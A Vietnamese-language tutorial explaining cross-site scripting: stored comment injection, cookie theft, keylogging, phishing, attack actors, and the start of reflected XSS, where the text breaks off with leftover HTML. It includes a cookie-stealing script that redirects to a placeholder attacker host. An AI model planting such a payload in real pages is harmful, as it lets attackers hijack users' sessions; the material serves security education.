12/08/2018, 15:35

Excess XSS

Part One: Overview What is XSS? Cross-site scripting (XSS) là cuộc tấn công mã độc cho phép kẻ tấn công thực hiện mã độc JavaScript trong trình duyệt của người dùng khác. Kẻ tấn công không trực tiếp nhắm vào nạn nhân. Thay vào đó sẽ khai thác lỗ hổng bảo mật trong một trang web mà nạn nhân truy ...

Part One: Overview

What is XSS?

Cross-site scripting (XSS) là cuộc tấn công mã độc cho phép kẻ tấn công thực hiện mã độc JavaScript trong trình duyệt của người dùng khác. Kẻ tấn công không trực tiếp nhắm vào nạn nhân. Thay vào đó sẽ khai thác lỗ hổng bảo mật trong một trang web mà nạn nhân truy cập để trang web đó truyền mã độc JavaScript cho người dùng. Đối với trình duyệt của nạn nhân, mã độc này dường như là một phần hợp pháp của trang web.

How the malicious JavaScript is injected

Kẻ tấn công đưa mã độc JavaScript vào các trang web nhằm cho nạn nhân click hoặc tải chúng xuống. Giả sử ở một trang web, khi bạn post một comment vào topic, server sẽ lưu comment bạn post và hiển thị dưới dạng HTML. Ví dụ bạn post comment bình thường "Hỏi thế gian tình ái là chi?", thì server sẽ lưu và hiển thị dưới dạng html như sau:

<div class="last-comment">
   <p>Hỏi thế gian tình ai là chi</p>
</div>

Nhưng kẻ tấn công không nhập thông thường như thế, hắn sẽ kèm theo một đoạn mã độc trong comment của mình như : "Người thương ơi, em đang nơi đâu?<script>...(mã độc) ...</script>"

<div class="last-comment">
   <p>Người thương ơi, em đang nơi đâu?<script>...(mã độc) ...</script></p>
</div>

Và dĩ nhiên đoạn mã này sẽ được server lưu ở database và lôi ra hiển thị trong phần last comment ở trang web. Như vậy là vô tình tất cả người dùng khi tải trang nó sẽ load mã độc này lên và mã độc này được thực thi.

What is malicious JavaScript?

Ở thời điểm đầu, do JavaScript chạy trong môi trường hạn chế nên khả năng thực thi mã độc trên trình duyệt của nạn nhân có vẻ không độc hại. Tuy nhiên khả năng phát tán mã độc sẽ trở nên rõ ràng hơn khi bạn xem xét các sự kiện sau :

  • JavaScript có quyền truy cập vào một số thông tin nhạy cảm của người dùng, chẳng hạn như cookie.
  • JavaScript có thể gửi các yêu cầu HTTP với nội dung tùy ý tới đích bằng cách sử dụng XMLHttpRequest hoặc các cơ chế khác.
  • JavaScript có thể thực hiện các sửa đổi tùy tiện cho Html của trang web.

Những sự kiện này nếu được kết hợp với nhau có thể gây ra những vi phạm bảo mật nghiêm trọng.

The consequences of malicious JavaScript

Khả năng thực thi mã JavaScript tùy ý trong trình duyệt của người dùng khác cho phép kẻ tấn công thực hiện các loại tấn công sau: Cookie thefl: Kẻ tấn công truy cập cookie của nạn nhân bằng cách sử dụng document.cookie, và sử dụng các chúng để lấy các thông tin nhạy cảm như session ID. Keylogging: Kẻ tấn công có thể đăng ký một kịch bản lắng nghe và ghi lại các sự kiện bàn phím của người dùng bằng sự kiện addEventListener và sau đó gửi thông tin đó tới máy chủ của mình. Điều này kẻ tấn công có thể phân tích và ăn cắp các thông tin quan trọng như mật khẩu, số thẻ tín dụng, ... Phishing: Kẻ tấn công có thể chèn một mẫu đăng ký giả mạo vào trang web bằng cách sử dụng thao tác DOM. Đặt sự kiện submit form đến máy chủ của mình để ăn cắp tài khoản.

Mặc dù các cuộc tấn công kiểu này khác nhau nhưng chúng đều có một điểm tương đồng là kẻ tấn công đã chèn mã độc JavaScript vào web. Với tất cả ý định, mục đích, kịch bản được xem là một phần hợp pháp của trang web, cho phép nó làm bất cứ điều gì mà trang web thực tế có thể làm, tức là tính bảo mật của trang web đã bị vi phạm nghiêm trọng.

Part Two: XSS Attacks

Actors in an XSS attack

Các tác nhân liên quan đến một cuộc tấn công XSS gồm : the website, the victim, the attacker.

  • The website : là trang web phục vụ cho người dùng (giả sử máy chủ web là http://website/)
  • The victim : người dùng trang web
  • The attacker : người dùng độc hại của trang web có ý định tấn công người dùng bằng cách khai thác lỗ hổng XSS. (giả sử kẻ tấn công kiểm soát máy chủ của hắn tại địa chỉ : http://attacker/)

An example attack scenario

Trong ví dụ này, giả định rằng mục tiêu của kẻ tấn công là đánh cắp cookie bằng cách khai thác lỗ hổng XSS trên trang web. Điều này có thể thực hiện bằng cách trình duyệt của nạn nhân phân tích mã Html sau

<script>
window.location='http://attacker/?cookie='+document.cookie
</script>

lệnh này điều hướng trình duyệt của người dùng đến máy chủ của kẻ tấn công. URL khi đó bao gồm cả cookie của nạn nhân như một tham số truy vấn, từ đó kẻ tấn công có thể lấy ra các thông tin nhạy cảm để giả mạo nạn nhân và khởi động các cuộc tấn công khác. ảnh minh họa:

  • Bước 1: kẻ tấn công chèn mã độc vào comment của hắn
  • Bước 2 : người dùng gửi request xem last comment (hành động nhấn vào comment chứa mã độc)
  • Bước 3 : server phản hồi comment kèm mã độc
  • Bước 4 : trình duyệt của nạn nhân thực thi mã độc và gửi thông tin cookie của nạn nhân đến server của kẻ tấn công.

Types of XSS

1. Reflected XSS Chèn mã độc và URL dưới dạng query string, khi người dùng click vào url này thì sẽ render mã độc vào html và người dùng bị tấn công. kịch bản :

  • Bước 1 : kẻ tấn công gửi một URL chứa mã độc cho nạn nhân với những chiêu trò gợi sự tò mò : "Để làm quen với girl xinh FA hãy click vào đây             </div>
            
            <div class=
0